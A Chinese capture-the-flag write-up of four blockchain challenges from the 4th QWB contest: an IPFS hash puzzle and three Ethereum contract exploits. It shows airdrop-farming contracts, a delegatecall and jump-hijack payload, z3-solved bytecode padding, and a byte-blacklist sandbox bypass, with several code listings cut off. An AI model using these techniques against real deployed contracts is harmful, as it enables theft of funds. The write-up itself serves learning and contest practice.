前言
- 第四届
qwb
,blockchains
的WP
,勿喷 - 题目考查的点子也不是很新,勿喷2333
- 随时欢迎大家来交流,别喷就好,谢谢
- 没有官方
WP
,我只是自己写着玩
IPFS
- 题目考查的是最近很火的
IPFS
,不过很简单,考查的是IPFS
存储规则计算的相关知识,不过题目可能描述的不清楚,导致有些选手不明白hash
是什么意思2333,再加上最后找到两张图片,可是提交的flag
不对,导致选手以为是脑洞题目,自己在那猜hash
到底是什么,其实并不是,是因为pic1
被指定大小分块存储了,所以你直接按照一个块计算的cid
结果不对,在此说声抱歉,其实hash
就是文件的cid
,出题的时候没有考虑到这一点,所以题目目的不是为了脑洞,在此解释一下,不过看了绝大多数队伍的WP
发现他们理解的没有偏差,我也不明白为什么 - 需要了解一下
IPFS
是如何计算文件hash
的,即cid
,简化总结为:原始数据添加元数据封装成IPFS
文件 -> 计算SHA2-256
-> 封装成multihash
-> 转换成Base58
- 所以对于
pic2.jpg
,我们计算它的multihash
然后转Base58
即可,可使用如下脚本计算
1 | import base58 |
- 计算结果为
QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3
,所以我们直接访问 https://ipfs.io/ipfs/QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 即可
- 对于
pic1.jpg
,考查的是IPFS
文件的碎片化存储,IPFS
默认规则是文件所占空间大于256kb
就会被切分成小块,每一块小于或等于256kb
。不过我们上传时可以指定碎片化的大小,使用-s size-?
参数即可,题目是把pic1.jpg
碎片化成了6
个block
,分别给出了它们的文件hash
值,所以我们只需要将其拼成一张图片即可,排列组合即可(可以先找到文件头所在的block
和文件尾所在的block
,对剩余4
个block
排列组合) - 排列组合的脚本如下,
3.jpg
便是pic1.jpg
1 | import os |
- 得到信息
flag=flag{md5(hash1+hash2)}
,所以我们需要找到hash1
,很简单,只需要我们重新上传一下pic1.jpg
即可,size
的大小可以根据分块block
对应的文件的大小获得
1 | ipfs add -s size-26624 pic1.jpg |
- 得到
hash1 = QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7
flag=flag{md5(hash1+hash2)}=flag{35fb9b3fe44919974a02c26f34369b8e}
EasyFake
- 思路来自
rw2018
首席的题目,觉得点子很好,直接把首席题目的点子拿了过来23333,勿喷,简化版 - 可以借助
ida-evm
等工具查看其函数调用图及其细节 - 薅羊毛是送分的,考点是
delegatecall
,直接介绍利用思路
Source
1 | pragma solidity ^0.4.23; |
Analyse
- 对上述源码编译生成的字节码进行了一些改动,完整的字节码可在链上查找到
- 题目要求触发
SendFlag
事件,可是并没有SendFlag
,所以需要delegatecall
,这个意图应该很明显 - 对于
backdoor
函数,其函数栈如下所示,会跳转到calldataload(0x5e)
,这个很明显,我们要跳转到delegatecall
的位置,查看字节码,可以找到位置为0x740
,所以calldataload(0x5e:0x7e)=0x740
。并且设置了memory[0x20,0x40]=sload(0x1234)=0x4804a623
,可在https://www.4byte.directory/查询到是getflag()
函数
1 | calldataload(0x5e) 栈顶 |
0x740
位置代码为5bf45056
,即如下
1 | JUMPDEST |
delegatecall
参数对应栈如下,所以calldataload(0x7e:0x9e)为delegatecall
调用的hack
合约地址,memory[0x3c:0x40]=0x4804a623
,即调用hack
合约中的getflag()
函数,返回值保存在memory[0x1234:0x1234+0x20]
中
1 | gas gasRemaining |
- 调用完函数栈为空,但此时有个
jump
,要跳转到哪里呢,我们向上找,发现payforflag
里面有一些操作,栈详情如下,存在一个任意caller
控制的跳转
1 | caller & 0xffff |
- 假设跳转到
backdoor
位置,即0x06f2
,即要求caller
最低四字节为0x06f2
,结合上面的分析,上述执行完delegatecall
之后会跳转到0x6ee
,查看0x6ee
处的字节码是5b510156
,操作码如下
1 | JUMPDEST |
- 此时栈变成了下面这样,即会跳转到
mload(0x1234)+0x1234
,此时栈为空,而
1 | add |
- 为了保持栈平衡,我们需要跳转到
stop
的位置,正常结束并维持栈平衡,可以找到0x2c1
位置,即mload(0x1234)+0x1234=0x2c1
即可,即要求hack
合约中的getflag()
函数返回值为0x2c1-0x1234=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff08d
Exp
使用下面代码薅羊毛,转到地址最后四字节为
0x06f2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16contract father {
constructor() public {
for (uint i=0; i<100; i++)
{
son ason = new son();
}
}
}
contract son {
constructor() public {
EasyFake tmp = EasyFake(0x742eB40659c7Dae2CD436B9E2741696a2F622DB2);
tmp.gift();
tmp.transferbalance(address(0x15697F62095549B50F2897F6840D36aB1e0b06f2),10);
}
}部署
hack
合约,作为delegatecall
参数
1 | contract hack { |
- 使用最后四字节
0x06f2
的这个账户调用payforflag
函数,根据如上分析,payload
如下所示
1 | from web3 import Web3, HTTPProvider |
EasyAssembly
- 题目思路来自于
rw2019
- 考点有两个:
- 在合约字节码后进行
padding
不会影响合约的部署 create2
创建地址的方式
- 在合约字节码后进行
Source
1 | pragma solidity ^0.5.10; |
Analyse
tag
是对字节码进行编码得到cs
,pass
是对cs
进行校验,可以分析发现是对owner
进行相关计算,对其结果记为target
,即cs
经过校验后等于target
攻击合约hack,获取bytecode
1
2
3
4
5
6
7
8contract hack {
address instance_address = 0xbA2e98a2795c193F58C8CE1287fDA28e089c313a ;
EasyAssembly target = EasyAssembly(instance_address);
function hack1(bytes memory code) public {
target.payforflag(code);
}
}正常情况下,对合约字节码进行编码后正好等于特定某个值的几率几乎为
0
,所以需要另想办法,这里用到考点一,合约字节码后进行padding
不会影响合约的部署使用
tag
计算攻击合约hack
字节码的cs
,然后我们计算需要padding
的字节1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53from z3 import *
def find(last, target):
t1, t2 = int(last[:8], 16), int(last[8:], 16)
tar1, tar2 = int(target[:8], 16), int(target[8:], 16)
s = 0x59129121
s = BitVecVal(s, 256)
m1 = BitVec('m1', 256)
m2 = BitVec('m2', 256)
m3 = BitVec('m3', 256)
m4 = BitVec('m4', 256)
for j in range(4):
s = (s + s) & 0xffffffff
p1 = (t1<<4) - m1
p2 = t1 + s
p3 = (t1>>5) + m2
t2 = (t1 + (p1^(p2^p3))) & 0xffffffff
p1 = (t2<<4) + m3
p2 = t2 + s
p3 = (t2>>5) - m4
t1 = (t2 + (p1^(p2^p3))) & 0xffffffff
sol = Solver()
sol.add(And(t1 == tar1, t2 == tar2))
if sol.check():
m = sol.model()
m_l = map(lambda x: m[x].as_long(), [m4, m3, m2, m1])
pad = 0
for x in m_l:
pad <<= 0x20
pad |= x
return hex(pad)[2:].zfill(32)
else:
raise Exception('No solution')
def cal_target(address):
a = address & 0xffffffff
b = address>>0x20 & 0xffffffff
c = address>>0x40 & 0xffffffff
d = address>>0x60 & 0xffffffff
e = address>>0x80 & 0xffffffff
v1 = (a+b) & 0xffffffff
v2 = ((c ^ d) + e) & 0xffffffff
target = v2<<0x20 | v1
print hex(target)
return hex(target)
address = 0x000000000000000000000000082d1deb3d08277650966471756b06fead5cb43f
last = "a7f27fea495824ae"
target = cal_target(address)[2:]
print find(last, target)调用
pass
,其中idx
为owner
所在的slot
与puzzle
数组数据起始位置的差值,是个固定值17666428025195830108258939064971598484477117555719083663154155265588858226250
,bytecode
是进行padding
之后的字节码(这里需要注意字节码16
字节对齐)- 调用
hack
攻击合约的hack1
即可,这里的code
是create2()
中的参数,可通过下述脚本计算,code
就是脚本中的s
Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]
1 | from web3 import Web3 |
EasySandbox
Source
1 | pragma solidity ^0.5.10; |
Analyse
- 题目逆向还是有难度的,后来直接给了源码
考点有三个:
- 考察对动态数组、map类型数据的存储规则计算
- 考察对
EVM
执行的理解 - 考察
create2
可以看到主体函数就两个
given_gift
任意写easy_sandbox
过滤了f0
、f1
、f2
、f4
、fa
、ff
这些字节,如果站在操作码层次,这些字节对应操作码分别是create
、call
、callcode
、delegatecall
、staticcall
、selfdestruct
,相当于这些操作码都不能使用,如果想要清空合约余额的话,只能使用create2
创建一个类似转账的合约
Exp
1 | pragma solidity ^0.5.10; |
- 具体过程都在上面
exp
的注释里面 - 需要注意的是:
- 由于
sandbox
禁止的是特定的字节,而不是特定的操作码,这意味着在上下文中也禁止这些字节,所以我们的code
要使用字节码编写 - 若在攻击字节码中出现了
sandbox
中的黑名单字节,我们需要使用巧妙的方式去绕过它
- 由于